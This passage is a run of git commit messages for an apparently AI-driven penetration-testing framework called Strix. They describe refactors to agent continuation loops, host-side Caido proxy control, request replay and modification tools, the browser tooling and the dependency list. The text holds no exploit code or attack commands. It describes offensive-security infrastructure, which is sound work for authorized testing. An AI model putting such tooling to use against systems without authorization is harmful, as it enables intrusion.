continuation loop, which is exactly the orchestration layer's job.
Moves it into ``strix/orchestration/run_loop.py`` next to the bus,
hooks, and filter — they all glue ``Runner.run`` to bus state.
The previous commit only kept the root agent alive across cycles. But
``interactive`` propagates to children via ``make_child_factory``, and
the legacy harness's continuation loop applied to every interactive
agent in the tree — children also stayed alive after ``agent_finish``,
ready to receive follow-up messages from the parent or siblings.
Lift the demo-loop pattern out of ``entry.run_strix_scan`` into a
shared helper :func:`strix.run_loop.run_with_continuation` and use it
at both call sites:
- ``entry.run_strix_scan`` for the root agent.
- ``tools.agents_graph.tools.create_agent`` for child agents — the
``asyncio.create_task(Runner.run(...))`` becomes
``asyncio.create_task(run_with_continuation(...))``.
``StrixOrchestrationHooks.on_agent_end`` drops the ``parent_id is None``
constraint — any interactive agent parks instead of finalizing.
Children that crash still finalize so parents stop waiting on them.
Cancellation propagates correctly: ``bus.cancel_descendants`` cancels
the task; ``run_with_continuation``'s ``await bus.wait_for_message``
catches ``CancelledError`` and returns the last result.
Lint at baseline.
Pre-migration ``BaseAgent.agent_loop`` ran forever in interactive mode,
re-entering a "waiting state" after each finish-tool call so user
follow-ups could keep the conversation going. Post-migration our
``Runner.run`` returned on ``StopAtTools(finish_scan)`` and the user's
next chat message had no listener — silent dead-end.
Restore the legacy "agent never dies" semantics using the SDK's
canonical demo-loop pattern (``agents/repl.py:run_demo_loop``):
- Add ``AgentMessageBus.wait_for_message(agent_id)`` — blocks until
an inbox is non-empty. Backed by a per-agent ``asyncio.Event``
fired from ``send``.
- Add ``AgentMessageBus.park(agent_id)`` — sets status to ``waiting``
without finalizing (inbox + tree edges + name preserved). Lets
``send`` keep accepting messages between cycles.
- Plumb ``interactive`` through ``make_agent_context`` and the
``create_agent`` graph tool (children inherit).
- ``StrixOrchestrationHooks.on_agent_end`` parks the root agent
instead of finalizing when ``interactive=True`` and the run
completed cleanly. Resets ``agent_finish_called`` /
``turn_count`` for the next cycle.
- ``entry.run_strix_scan`` adds an outer loop in interactive mode:
after ``Runner.run`` returns, ``await bus.wait_for_message(root_id)``,
drain pending user messages, and re-invoke ``Runner.run``. SQLite
session preserves prior conversation across cycles.
For non-interactive (CLI) mode: unchanged — single ``Runner.run``,
return.
Verified bus behaviors: wait returns immediately on pre-existing
message, blocks then wakes on send, ``park`` keeps agent send-able,
``finalize`` evicts. Lint at baseline (3 ruff / 69 mypy).
``agent_finish`` was setting ``inner[\"agent_finish_called\"] = True``
at the top of its body, but ``StrixOrchestrationHooks.on_tool_end``
already does this for ``agent_finish`` and ``finish_scan`` after the
tool returns. Doing it twice was harmless but suggested the flag's
ownership was ambiguous; the hook is the single source of truth.
The 150-line ``Tracer.save_run_data`` mashed three concerns together:
opening file handles, formatting Markdown for vulnerabilities, and
writing the executive penetration-test report. None of that is
telemetry — it's pure on-disk artifact emission.
Extract to :class:`ScanArtifactWriter` in ``strix/io/scan_artifacts.py``:
- One writer per ``run_dir``, owns its own ``_saved_vuln_ids`` dedupe
set so re-saves only emit new files.
- ``writer.save(vulnerability_reports=, final_scan_result=)`` is the
only public entry point.
- ``_render_vulnerability_md`` is module-private and unit-testable in
isolation.
``Tracer`` now lazily creates a single ``ScanArtifactWriter`` per
``run_dir`` and delegates ``save_run_data`` to it (~150 LoC body
collapses to ~10).
Net: tracer.py 422 → 327 LoC; new scan_artifacts.py 196 LoC. About
−95 LoC of mixed concerns, plus telemetry no longer carries file-I/O
responsibilities.
Audit found ``hooks.on_tool_start`` / ``on_tool_end`` were calling
``tracer.log_tool_start`` / ``log_tool_end`` via ``hasattr()`` checks —
but those methods didn't exist on ``Tracer``. The ``hasattr()`` always
returned False, so the calls were silently no-ops, leaving
``tracer.tool_executions`` permanently empty.
Four TUI render paths consume that dict and were therefore broken:
- ``_get_agent_name_for_vulnerability`` always returned ``None`` (vuln
panel couldn't show which agent reported the finding).
- ``_agent_has_real_activity`` always returned ``False`` (animation
logic stopped immediately).
- ``_agent_vulnerability_count`` always returned ``0``.
- ``_gather_agent_events`` only showed chat events, never tool events.
Fix: add ``Tracer.log_tool_start(agent_id, tool_name) → exec_id`` and
``Tracer.log_tool_end(agent_id, tool_name, result)``. Hook bodies now
call them directly (no ``hasattr`` guard). The exec-id counter ensures
nested / overlapping tool calls within an agent don't clobber each
other.
``"anthropic/claude-sonnet-4-6"`` was duplicated as a kwarg default in
5 places (``run_strix_scan``, ``make_run_config``, ``make_agent_context``,
and twice in ``agents_graph.create_agent``'s ``inner.get(..., default)``
calls). The default was actually dead code: ``validate_environment``
requires ``STRIX_LLM`` to be set before any scan starts, and the CLI/TUI
callers don't pass ``model=`` themselves.
Replaced with a single resolution in ``run_strix_scan``:
resolved_model = model or load_settings().llm.model
if not resolved_model:
raise RuntimeError("No LLM model configured. ...")
then propagated explicitly to ``make_agent_context`` and
``make_run_config``. Both lose their string defaults — ``model`` is now
a required kwarg. The graph tool's ``inner.get("model", "...")`` is
``inner["model"]``: the parent context guarantees it's set.
Drive-by: ``run_strix_scan`` docstring still listed ``is_whitebox`` as
a ``scan_config`` key — stale since ``1e641e5`` derived it from
``targets`` instead. Updated.
Replaces 200+ lines of bespoke env-loader / persist / change-detection
machinery with ``pydantic_settings.BaseSettings`` (already a transitive
of ``openai-agents → mcp``, no new direct dep).
What was wrong with ``Config``:
- 14 knobs flat in one namespace, weak grouping by comment-block.
- ``Config._applied_from_default`` and ``Config._config_file_override``
were externally mutated from ``interface/main.py:532-534``. Private
members were part of the public contract.
- Stringly-typed values: every caller had to coerce
(``int(Config.get("llm_timeout") or "300")``,
``... not in {"0", "false", "no", "off"}``).
- Dead knob: ``strix_llm_max_retries`` declared, persisted, listed in
``_LLM_CANONICAL_NAMES`` — zero readers (``DEFAULT_RETRY``
hardcodes ``max_retries=5``). Dropped.
- ``_LLM_CANONICAL_NAMES`` tuple maintained alongside class vars —
duplicate source of truth.
- ``_tracked_names()`` introspected ``vars(cls).items()`` filtered on
``(v is None or isinstance(v, str))`` — fragile.
- Awkward path: ``strix/config/config.py`` inside ``strix/config/``
with ``__init__.py`` just re-exporting.
- Dual access for the same fact: ``web_search`` read
``os.getenv("PERPLEXITY_API_KEY")`` while ``main.py`` read
``Config.get("perplexity_api_key")``.
New shape:
- ``strix/config/settings.py`` — typed dataclass tree:
``Settings.{llm,runtime,telemetry,integrations}``. Each sub-model is
its own ``BaseSettings`` so it reads env independently. Field-level
``alias=`` and ``validation_alias=AliasChoices(...)`` mirror the
existing flat env-var names — user-facing env contract is unchanged.
Bool fields auto-parse ``"0"``/``"false"``/``"no"``/``"off"``;
int fields auto-coerce.
- ``strix/config/loader.py`` — thin ``load_settings()``,
``apply_config_override(path)``, ``persist_current()`` with module
cache. JSON file reader walks aliases to populate sub-models, dropping
entries already covered by env (so env still wins).
- 13 callsites migrated from ``Config.get("...")`` to
``load_settings().<group>.<field>``.
- ``posthog._is_enabled()`` collapses to one line.
- ``--config <path>`` flow simplified: one
``apply_config_override(...)`` call replaces three lines of
class-private mutation.
Drive-by — drop ``is_whitebox`` from ``scan_config`` dict:
- It was being derived as ``bool(args.local_sources)`` in three places
(``cli.py``, ``tui.py``, ``main.py``) and stuffed into the dict for
``entry.py`` to read back. The fact is fully derivable from
``scan_config["targets"]`` — any target with ``type == "local_code"``.
- New helper ``is_whitebox_scan(targets)`` in ``interface/utils.py``
alongside the other target-classification utilities.
- ``entry.py`` computes once; ``main.py``'s posthog start uses the same
helper. Triplicate derivation gone.
Verified: ruff at baseline (3), mypy at baseline (69). Six smoke tests
pass — defaults / JSON-only / env-wins-over-JSON / alias-chain
fallback / bool parsing / ``is_whitebox_scan``.
Dockerfile carried forward three pieces of dead state from the
pre-migration era:
- ``/app/runtime`` and ``/app/tools`` mkdir entries — the FastAPI
sidecar + in-container tool registry that those dirs hosted are
gone.
- ``/home/pentester/{configs,wordlists,output,scripts}`` — empty
placeholders never populated by anything; greps for them in the
whole repo come back empty.
- ~20 explicit Chrome/Playwright runtime libs (``libnss3``,
``libnspr4``, ``libatk*``, ``libxcomposite1``, …) plus emoji /
freefont packages. These were Playwright deps; the migration to
``agent-browser`` runs ``agent-browser install --with-deps`` which
owns this list authoritatively. Keep ``libnss3-tools`` for
``certutil`` in the entrypoint's CA-trust step.
Drive-by bug fix: ``NO_PROXY=localhost,127.0.0.1`` was set in the
entrypoint (``/etc/profile.d/proxy.sh`` + ``/etc/environment``) but
NOT in the SDK manifest's environment. ``docker exec``-spawned
processes (which ``session.exec`` and the Shell capability use)
inherit only manifest env, so ``agent-browser``'s CDP-localhost
traffic was being looped back through Caido. Add it.
``check_duplicate`` was calling ``litellm.completion(...)`` directly
via ``resolve_llm_config()``, bypassing every layer the main agent
loop runs through:
- :class:`MultiProvider` (so ``anthropic/...`` aliases never went
through :class:`AnthropicCachingLitellmModel` and missed the
``cache_control`` patching on the system prompt — 4x cost on
repeated dedupe calls within the same scan).
- :data:`DEFAULT_RETRY` (no retry on 429s / network blips — the
caller's broad except-and-fallback was hiding this).
Switch to the SDK's :meth:`Model.get_response` directly: same model
selection, same retry policy, same cache wrapper. Extract assistant
text from ``ModelResponse.output`` via the canonical
``ResponseOutputMessage`` walk.
``check_duplicate`` is now async — drops the ``asyncio.to_thread``
indirection in ``_do_create``. Validation logic is fast-sync; running
it on the event loop is fine.
Drive-by: rename ``_DEFAULT_RETRY`` → ``DEFAULT_RETRY`` in
``run_config_factory`` so the dedupe path can reuse the same constant
without reaching into a private name.
``@strix_tool`` was passing through every kwarg to ``@function_tool``
with the same defaults — zero Strix-specific value-add. The docstring
also still claimed terminal/browser/python tools opted into
``timeout_behavior="raise_exception"``, but those tools were all
deleted in the recent migrations.
- Replace 30 ``@strix_tool(...)`` callsites with ``@function_tool(...)``.
- Inline ``dump_tool_result(x)`` as ``json.dumps(x, ensure_ascii=False,
default=str)`` at all 64 callsites — no helper.
- Delete ``strix/tools/_decorator.py``.
Drive-by: gut dead package re-exports.
- ``strix/{agents,orchestration,tools}/__init__.py`` re-exported
symbols nobody imports via the package — every consumer uses deep
paths (``from strix.agents.factory import build_strix_agent``).
- The 8 ``strix/tools/<sub>/__init__.py`` re-exports only fed the
splat ``from .agents_graph import *`` etc. in the parent package
init, which is also gone now.
- Reduced to docstrings (or empty) so ``import strix.tools`` doesn't
drag every tool's transitive deps in eagerly.
Drive-by: drop dead helpers in ``runtime.session_manager``
(``cached_scan_ids``, ``_reset_cache_for_tests``) — zero callers since
``tests/`` was nuked in ``a6d578c``.
Verified all tool timeouts preserved (think=10, list_requests=120,
finish_scan=60, web_search=330) and ruff/mypy at baseline.
``STRIX_RUNTIME_BACKEND`` was already declared on ``Config`` but never
read — ``session_manager`` hard-coded ``StrixDockerSandboxClient`` plus
``DockerSandboxClientOptions`` plus ``docker.from_env()`` directly into
the call site. Adding a second backend would have meant retrofitting
every Docker-specific import.
Move all of that behind a registry:
- ``strix/runtime/backends.py``: maps backend names to async factories
``(image, manifest, exposed_ports) -> (client, session)``. Ships with
``"docker"``; ``register_backend`` lets downstream users plug in
Daytona / K8s / Modal / etc. without forking.
- Each backend's deps are imported lazily inside its factory, so a
K8s-only deployment doesn't need ``docker-py`` installed (and
vice-versa).
- ``session_manager`` reads the config name, looks up the backend,
calls it. Zero Docker imports remain.
- Unknown backend name raises ``ValueError`` with the supported list,
so ``STRIX_RUNTIME_BACKEND=docke`` typos surface immediately.
The ``strix`` prefix on a file inside ``strix/runtime/`` was pure
redundancy. Class name ``StrixDockerSandboxClient`` keeps the prefix
since it disambiguates from the upstream SDK class it subclasses.
The split between ``strix/sandbox/`` and ``strix/runtime/`` was
artificial — both were managing the same backend. ``strix/sandbox/``
also collided uncomfortably with the SDK's ``agents.sandbox.*``
namespace. ``runtime/`` (which matches ``STRIX_RUNTIME_BACKEND``) is
the canonical home for everything Docker / Daytona / K8s lifecycle.
While merging, also rip out two pieces of Docker-specific coupling:
- ``caido_bootstrap`` was POSTing ``loginAsGuest`` from the host via
``aiohttp`` to ``http://127.0.0.1:{forwarded_port}``. That assumed
Docker port forwarding; Daytona / K8s expose ports differently.
Now we ``session.exec`` curl from *inside* the container — the
SDK's runtime-agnostic exec primitive — so any backend works as
long as it implements ``exec``. The host-side Caido ``Client``
still uses the runtime's exposed-port URL for post-bootstrap calls,
but that goes through the SDK's own ``resolve_exposed_port``
abstraction (also runtime-agnostic).
- The bootstrap retry loop now doubles as the readiness probe, so
``healthcheck.wait_for_tcp_ready`` (and the entire
``healthcheck.py`` module) goes away.
Drive-by simplification: drop ``caido_host_port`` plumbing entirely.
It was only piped through ``make_agent_context`` → child contexts
without ever being read; only ``caido_client`` is consumed.
Drops ``aiohttp`` runtime dep (it stays only as a transitive of the
Caido SDK).
- Drop ``wait_for_http_ready`` (FastAPI sidecar healthcheck) — only Caido
TCP probe survives now. Removes the ``httpx`` import.
- Delete ``ListSitemapRenderer`` / ``ViewSitemapEntryRenderer`` — render
UI for tools that disappeared with the Caido SDK migration.
- Drop ``scrubadub`` runtime dep — PII sanitizer was nuked previously
but the dep stayed; resolve strips 18 transitives (numpy, scipy,
scikit-learn, nltk, faker, …).
- Drop empty ``[project.optional-dependencies] sandbox`` section — last
in-container Python dep migrated out.
- Drop unused mypy overrides (``pydantic_settings``, ``jwt``, ``gql``,
``scrubadub``, ``httpx``) and the stale ``fastapi`` isort group.
- Collapse Dockerfile's ``pipx install -r ... 2>/dev/null || venv``
fallback into a direct venv install — pipx never accepted ``-r`` so
the fallback was always firing.
The vendored agent-browser skill described the ``screenshot``
subcommand but didn't tell the model how to actually look at the
resulting PNG. ``agent-browser screenshot`` writes to disk; the
SDK's ``view_image`` (from the ``Filesystem`` capability we already
enable on the agent) is what loads the bytes back as multimodal
content.
Add the explicit two-step pattern:
exec_command: agent-browser screenshot /workspace/page.png
view_image: {"path": "/workspace/page.png"}
Plus a guidance note that ``snapshot -i`` (text accessibility tree at
~200-400 tokens) is the cheap default and screenshots are for cases
where pixels actually matter — visual layout, captchas, custom
widgets where the a11y tree is incomplete.
Tail end of the sandbox-tools migration:
- Drop ``ENV STRIX_SANDBOX_MODE=true`` and ``ENV PYTHONPATH=/app`` from
the Dockerfile — both only mattered for the now-deleted in-container
tool server (the legacy ``register_tool`` registry gated on the env
var, and the entrypoint set ``PYTHONPATH`` so it could ``-m
strix.runtime.tool_server``).
- Drop ``strix_disable_browser`` from the Config defaults — the legacy
registry used it to skip ``browser_action`` registration; agent-browser
is unconditional now.
- Strip the ``tool_server.py`` blurb from ``strix/runtime/__init__.py``.
Combined commits 2+3 of the migration plan because the FastAPI sidecar
removal in commit 2 broke ``browser_action`` (which lived in the
sidecar); they have to land together.
Sandbox tool layer (commit 2 piece):
- ``build_strix_agent`` now returns a ``SandboxAgent`` with
``capabilities=[Filesystem(), Shell()]``. The SDK runtime binds the
capabilities to the live sandbox session per-run; agents get
``exec_command``, ``write_stdin``, ``apply_patch``, ``view_image``
function tools auto-merged into their tool list. Plain ``Agent``
short-circuits capability binding (``agents/sandbox/runtime.py:190``).
- Drop ``Compaction`` from the default capability set — it's
OpenAI-Responses-API-only and useless for our litellm-routed
Anthropic setup.
- Delete the entire custom in-container tool layer:
- ``strix/tools/terminal/`` (5 files, 748 LoC libtmux)
- ``strix/tools/file_edit/`` (3 files, 276 LoC)
- ``strix/tools/python/`` (5 files, 459 LoC)
- ``strix/runtime/tool_server.py`` (163 LoC FastAPI sidecar)
- ``strix/tools/_sandbox_dispatch.py`` (117 LoC)
- ``strix/tools/registry.py`` (109 LoC)
- ``strix/tools/context.py`` (12 LoC)
- Drop the corresponding TUI renderers (``terminal_renderer.py``,
``file_edit_renderer.py``, ``python_renderer.py``) and update
``interface/tool_components/__init__.py``.
Browser → agent-browser CLI (commit 3 piece):
- Install ``agent-browser@0.26.0`` globally in the Dockerfile right
after the existing ``npm install -g`` block. Run
``agent-browser install --with-deps`` (apt, root) and
``agent-browser install`` (Chrome download, pentester) +
``agent-browser doctor --offline --quick`` smoke test.
- Drop the explicit Playwright system-deps apt list (replaced by
``--with-deps``) and ``RUN .venv/bin/python -m playwright install
chromium``.
- Vendor ``agent-browser/skill-data/core/SKILL.md`` →
``strix/skills/tooling/agent_browser.md`` (476 lines). Adapt
frontmatter to Strix format; strip the install/Quickstart and the
``agent-browser skills get electron|slack|...`` specialized-skills
block; add the "Caido proxy is wired via env vars; do not pass
``--proxy``" note.
- ``_resolve_skills`` now eagerly loads ``tooling/agent_browser`` for
every agent (matches the previous unconditional ``browser_action``
in ``_BASE_TOOLS``).
- Delete ``strix/tools/browser/`` (5 files, 1338 LoC) and the
``browser_renderer.py`` TUI render.
Sandbox plumbing:
- Drop ``bearer`` token, ``tool_server_host_port`` resolution + bundle
keys, ``TOOL_SERVER_TOKEN``/``TOOL_SERVER_PORT``/
``STRIX_SANDBOX_EXECUTION_TIMEOUT`` from the manifest env in
``session_manager.create_or_reuse``. Caido proxy env vars
(``http_proxy``, ``https_proxy``, ``ALL_PROXY``) stay; manifest
applies them to every ``docker exec``-spawned process.
- Drop ``sandbox_token`` and ``tool_server_host_port`` params from
``make_agent_context`` and the ``create_agent`` graph tool.
- Drop the tool-server health-check from ``entry.py`` (only Caido's
``wait_for_tcp_ready`` remains).
- ``docker-entrypoint.sh``: delete the ~30 line
``Starting tool server...`` block (sudo + uvicorn launch + curl
/health poll). Add ``NO_PROXY=localhost,127.0.0.1`` to
``/etc/profile.d/proxy.sh`` and ``/etc/environment`` so the
agent-browser daemon's CDP traffic on localhost isn't routed
through Caido.
pyproject.toml:
- ``[project.optional-dependencies] sandbox = []`` (every member of
the previous list — fastapi, uvicorn, ipython, openhands-aci,
playwright, libtmux — is gone with the sidecar).
- Drop ``numpydoc.*``, ``IPython.*``, ``openhands_aci.*``,
``playwright.*``, ``uvicorn.*``, ``pyte.*``, ``libtmux.*`` from
the missing-imports module list.
- Drop the per-file ruff ignores for the deleted modules.
Net delta: −5512 LoC. ruff drops to 3 errors (was 21 baseline). mypy
falls to 69 errors over 3 files (was 84 over 8 — the drop comes from
deleting the modules with the worst untyped-import problems).
Drop our 797-LoC manual GraphQL ``ProxyManager`` and the in-container
sandbox dispatch. Caido goes host-side via the official async Python
SDK. The Caido CLI still runs as a sidecar in the container — only the
control-plane moves.
Bootstrap moves host-side:
- New ``strix/sandbox/caido_bootstrap.py``: ``loginAsGuest`` via
aiohttp (5 retries), then ``client.project.create(temporary=True)``
+ ``client.project.select(...)``, then return the connected
``caido_sdk_client.Client``. Drop the equivalent bash from
``docker-entrypoint.sh`` (~60 lines of curl + jq).
- ``entry.py`` calls ``bootstrap_caido_client`` after the
``wait_for_tcp_ready`` healthcheck, stashes the client in the bundle
and threads it through ``make_agent_context(caido_client=...)``.
``agents_graph.create_agent`` propagates the same client to children.
- ``session_manager.cleanup`` ``await``s ``client.aclose()`` before
tearing down the container.
- Drop ``CAIDO_PORT`` from the manifest env (only the in-container
ProxyManager read it) and ``CAIDO_API_TOKEN`` from the entrypoint's
``/etc/profile.d/proxy.sh`` + ``/etc/environment`` heredocs.
Tools (``strix/tools/proxy/tools.py``):
- ``list_requests`` → ``client.request.list().filter().first().after()``
with ascending/descending order. **Pagination changes from
start_page/end_page (1-indexed) to first/after cursors** matching the
SDK's native shape; response includes ``page_info.end_cursor`` for
the model to thread.
- ``view_request`` → ``client.request.get(id, RequestGetOptions(...))``;
decode raw bytes locally; existing regex-search and line-pagination
modes preserved.
- ``send_request`` → synthesize raw HTTP bytes, parse URL into
``ConnectionInfoInput(host, port, is_tls)``, create a replay session
via ``client.replay.sessions.create(CreateReplaySessionFromRaw(...))``,
then ``client.replay.send(session_id, ReplaySendOptions(...))``.
- ``repeat_request`` → ``client.request.get(id, request_raw=True)`` →
port the existing parse/_apply_modifications/build helpers verbatim →
send via the same replay flow as ``send_request``.
- ``scope_rules`` → direct mapping to ``client.scope.{list, get, create,
update, delete}``.
- **Drop ``list_sitemap`` + ``view_sitemap_entry``** — the official SDK
has no sitemap module. The model uses HTTPQL filters
(``req.host.eq:"X" AND req.path.cont:"/api/"``) for the same
drill-down workflow.
Deletions:
- ``strix/tools/proxy/proxy_manager.py`` (797 LoC)
- ``strix/tools/proxy/proxy_actions.py`` (113 LoC)
- The 6-line proxy_actions pre-import in ``python_instance.py``
(broken once proxy_actions is gone; that file is queued for deletion
in commit 2 anyway).
Deps:
- Add ``caido-sdk-client>=0.2.0`` and ``aiohttp>=3.10.0`` to runtime
``[project] dependencies``.
- Drop ``gql[requests]>=3.5.3`` from ``[project.optional-dependencies]
sandbox`` — only the in-container ProxyManager used the sync transport
variant; the SDK pulls in ``gql[aiohttp]`` transitively for us.
- ``[[tool.mypy.overrides]]``: add ``caido_sdk_client.*`` and
``aiohttp.*`` to the missing-imports list with
``disable_error_code=["import-untyped"]`` (neither ships ``py.typed``).
- ``[tool.ruff.lint.per-file-ignores]``: bump the proxy/tools.py
ignore to also include ``PLR0911`` (the scope_rules action dispatcher
has many short-circuit returns).
ruff drops from 21 → 12 errors; mypy moves from 82 → 84 (the +2 are in
already-flaky files unrelated to this change). All touched files mypy
clean.
The JSONL trace sink was never read — TUI consumes ``Tracer`` state
directly (chat_messages, agents, tool_executions, vulnerability_reports,
LLM stats), and SQLiteSession owns the conversation history. The whole
``StrixTracingProcessor`` → ``_emit_event`` → ``append_jsonl_record``
pipeline was producing files nothing opens.
Deleted:
- ``strix/telemetry/strix_processor.py`` (the SDK ``TracingProcessor``).
- ``strix/telemetry/utils.py`` — ``TelemetrySanitizer`` (no remaining
callers), ``append_jsonl_record``, ``get_events_write_lock``,
``reset_events_write_locks``.
- ``strix/telemetry/flags.py`` — ``is_telemetry_enabled`` /
``is_posthog_enabled`` collapsed into a 4-line check inside
``posthog._is_enabled`` (its only caller).
- ``Tracer._emit_event`` and every event-emit call inside the tracer
(``run.started``, ``run.configured``, ``run.completed``,
``finding.created``, ``finding.reviewed``, ``chat.message``).
- ``Tracer._enrich_actor`` (only used by ``_emit_event``).
- ``Tracer._sanitize_data`` + ``_sanitizer`` field (PII scrub only ran
on JSONL events).
- ``Tracer.events_file_path`` property and the ``_events_file_path`` /
``_telemetry_enabled`` / ``_run_completed_emitted`` /
``_next_execution_id`` fields.
- ``Tracer._calculate_duration`` (one caller in posthog — inlined).
- ``add_trace_processor(StrixTracingProcessor(run_dir))`` from
``entry.py``.
The ``Tracer`` class is now ~275 LoC of pure runtime state for the TUI
+ vulnerability artifact writer (markdown / CSV / pentest report).
Conversation history goes to ``SQLiteSession``; SDK trace events are
not persisted.
The custom ``Capability`` subclass was 207 LoC bundling four tiny
concerns (env-var injection, tool exposure, system-prompt block,
healthcheck) — and three of them were dead code: the SDK's
``SandboxRunConfig`` doesn't accept capabilities, so
``process_manifest``, ``tools()``, and ``instructions()`` were never
called. Only ``bind()`` ran, because we invoked it manually.
Replace each piece with the obvious direct equivalent:
- **Env vars**: inject ``http_proxy`` / ``https_proxy`` / ``ALL_PROXY``
directly into the manifest in ``session_manager.create_or_reuse``.
This *also fixes a latent bug* — the proxy env vars in
``CaidoCapability.process_manifest`` weren't being applied to live
containers, so shelled-out HTTP traffic from terminal/python tools
wasn't actually flowing through Caido.
- **Tool exposure**: add the seven Caido tools (``list_requests``,
``view_request``, ``send_request``, ``repeat_request``,
``scope_rules``, ``list_sitemap``, ``view_sitemap_entry``) to
``_BASE_TOOLS`` in ``agents/factory.py`` like every other sandbox
tool. They were already defined in ``tools/proxy/tools.py``.
- **Healthcheck**: ``entry.py`` now ``await``s
``wait_for_http_ready`` + ``wait_for_tcp_ready`` inline after
``session_manager.create_or_reuse`` returns, before any agent runs.
No more capability state, ``configure_host_ports`` plumbing, or
``on_agent_start`` await-the-task indirection.
- **Instructions block**: dropped. The seven proxy tools' docstrings
cover the HTTPQL syntax and usage already; the duplicate prompt
fragment was overhead.
Cascade cleanups:
- Drop ``caido_capability`` from the agent context (was passed to
every ``make_agent_context`` call but only used by the now-deleted
``on_agent_start`` await).
- Strip the capability await branch from
``StrixOrchestrationHooks.on_agent_start``; that hook now does only
the ``tracer.agents`` mirroring it always should have.
- Drop the ``capability`` key from the session bundle.
- Drop ``strix/sandbox/caido_capability.py`` — entire file (207 LoC).
- Drop the per-file ruff ignore for the deleted file.
mypy clean on every touched file. Net -217 LoC.
The SDK ships its own tracing pipeline (``agents.tracing``) plus
``SQLiteSession`` for native conversation persistence. Strix's custom
OTEL bootstrap + Traceloop integration was dead weight — the SDK does
not bridge to OpenTelemetry, so all of our adapter code was solving a
problem we didn't actually need solved.
Telemetry purge:
- Drop the ``traceloop-sdk`` and
``opentelemetry-exporter-otlp-proto-http`` runtime deps. ``uv sync``
uninstalls ~30 transitive packages (the OTEL family,
``traceloop-sdk``, ``protobuf``, ``opentelemetry-exporter-otlp-*``,
``deprecated``, ``wrapt``, ``backoff``, etc.) — about 1000 lines off
``uv.lock``.
- Delete ``bootstrap_otel`` and ``JsonlSpanExporter`` from
``telemetry/utils.py``; strip the OTEL pruning helpers,
``parse_traceloop_headers``, ``default_resource_attributes``,
``format_trace_id`` / ``format_span_id`` / ``iso_from_unix_ns``.
Keep only the sanitizer + JSONL writer + write-lock registry.
- Strip ``Tracer._setup_telemetry``, ``_otel_tracer``,
``_remote_export_enabled``, ``_active_events_file_path``,
``_active_run_metadata``, ``_get_events_write_lock``,
``_set_association_properties``. ``_emit_event`` now generates
trace/span ids from ``uuid4`` directly.
- Drop the ``traceloop_base_url`` / ``traceloop_api_key`` /
``traceloop_headers`` / ``strix_otel_telemetry`` config knobs.
- Rename ``is_otel_enabled`` → ``is_telemetry_enabled`` (the gate now
controls JSONL emission only).
Native session resume:
- ``entry.py`` now constructs an ``agents.memory.SQLiteSession`` keyed
by ``scan_id`` and persists conversation history at
``strix_runs/<scan_id>/session.db``. A second call to
``run_strix_scan`` with the same ``scan_id`` resumes from where the
prior run left off — no manual state plumbing needed.
Tracer.agents fix (TUI agent tree was silently empty):
- ``StrixOrchestrationHooks.on_agent_start`` now mirrors bus state
into ``tracer.agents`` (id / name / parent_id / status), and
``on_agent_end`` flips the entry to ``completed`` / ``crashed``.
The TUI now actually shows the agent tree during scans.
Tooling:
- Drop ``pylint`` from dev deps; ``ruff`` covers everything we used
it for. Strip the ``make lint`` pylint step.
Runtime deps (``[project] dependencies``):
- ``litellm[proxy]>=1.83.0`` — ``openai-agents[litellm]==0.14.6``
already pulls litellm as a transitive (currently 1.83.7), and we
only use ``litellm.completion()``, not the proxy server extras.
- ``defusedxml>=0.7.1`` — leftover from the XML tool-call era; zero
imports remain.
Sandbox deps (``[project.optional-dependencies] sandbox``):
- ``pyte>=0.8.1`` — zero imports.
- ``numpydoc>=1.8.0`` — zero imports.
Optional groups:
- Drop the entire ``vertex`` group (``google-cloud-aiplatform``);
routing goes through litellm/MultiProvider, no direct Google Cloud
usage.
Dev deps (``[dependency-groups] dev``):
- ``black>=25.1.0`` — never invoked; ruff format does it and is what
pre-commit + Makefile actually call.
- ``isort>=6.0.1`` — never invoked; ruff's ``I`` lint set handles
imports. (pylint pulls isort transitively, so functionality is
preserved.)
ruff (27) and mypy (82) baselines unchanged; ``uv sync`` uninstalls
~15 packages.
The test suite was carrying migration scars and a long tail of
low-density assertions over SDK-derived behavior. Drop it wholesale.
- Delete ``tests/`` (42 files, ~4900 LoC).
- Drop ``pytest`` / ``pytest-asyncio`` / ``pytest-cov`` /
``pytest-mock`` from the dev dependency group; ``uv sync``
uninstalls the matching wheels.
- Strip the pytest + coverage config blocks, the
``flake8-pytest-style`` ruff selector, the ``tests/**`` per-file
ignores, the ``[tool.mypy.overrides] tests.*`` block, and the
``"tests"`` entry from bandit's ``exclude_dirs``.
- Drop the ``test`` / ``test-cov`` Makefile targets; ``dev`` no
longer depends on tests.
- Strip the ``# Testing`` block from ``.gitignore`` (``.coverage``,
``.pytest_cache/``, ``htmlcov/``, ``coverage.xml``, ``nosetests.xml``,
``.tox/``, ``.hypothesis/``).
ruff (27) and mypy (82) baselines unchanged.
Tools:
- Add a single ``dump_tool_result`` helper in ``tools/_decorator.py``
and remove the eight identical ``_dump`` definitions from
``proxy/tools.py``, ``file_edit/tools.py``, ``python/tool.py``,
``terminal/tool.py``, ``todo/tools.py``, ``browser/tool.py``,
``notes/tools.py``, ``agents_graph/tools.py``. Imports trimmed.
Net -50 LoC across the tool modules.
run_config_factory:
- Inline the four retry-policy plumbing pieces
(``_RETRYABLE_HTTP_STATUSES``, ``_DEFAULT_MAX_RETRIES``,
``_DEFAULT_BACKOFF``, ``_default_retry_policy()``) into a single
module-level ``_DEFAULT_RETRY`` ``ModelRetrySettings`` literal. The
inputs were never overridden and the helper had one caller.
Tests:
- Drop migration scars from ``tests/test_run_config_factory.py``
(``Phase 1`` / ``C1`` / ``C11`` / ``C21`` / ``HARNESS_WIKI`` / ``AUDIT``
references). Replace the ``_RETRYABLE_HTTP_STATUSES``-touching test
with a ``retry.policy is not None`` smoke check now that the constant
has been inlined.
Tracer:
- Collapse the ``live`` / ``completed`` LLM stat buckets into one
flat dict. The ``completed`` bucket was only ever written by tests
— production never moved stats across, and ``get_total_llm_stats``
always summed both for display.
- Drop ``record_llm_usage(agent_id=...)``: argument was unused, and
the per-call ``bucket=`` knob is gone with the buckets.
run_config_factory:
- Drop unused ``parallel_tool_calls``, ``tool_choice`` parameters
from ``make_run_config`` — no caller ever overrode them.
- Drop ``agent_name`` from ``make_agent_context`` — set into the
context dict but no consumer ever read it; the bus's ``names`` map
is the source of truth.
Wire reasoning_effort through:
- ``Config.get("strix_reasoning_effort")`` is now actually plumbed
to ``make_run_config`` from ``entry.py``. Previously the env var
was advertised but never consumed.
Multi-agent graph tools:
- Replace six copies of
``inner = ctx.context if isinstance(ctx.context, dict) else {}``
with a single ``_ctx(ctx)`` helper.
Todo tools:
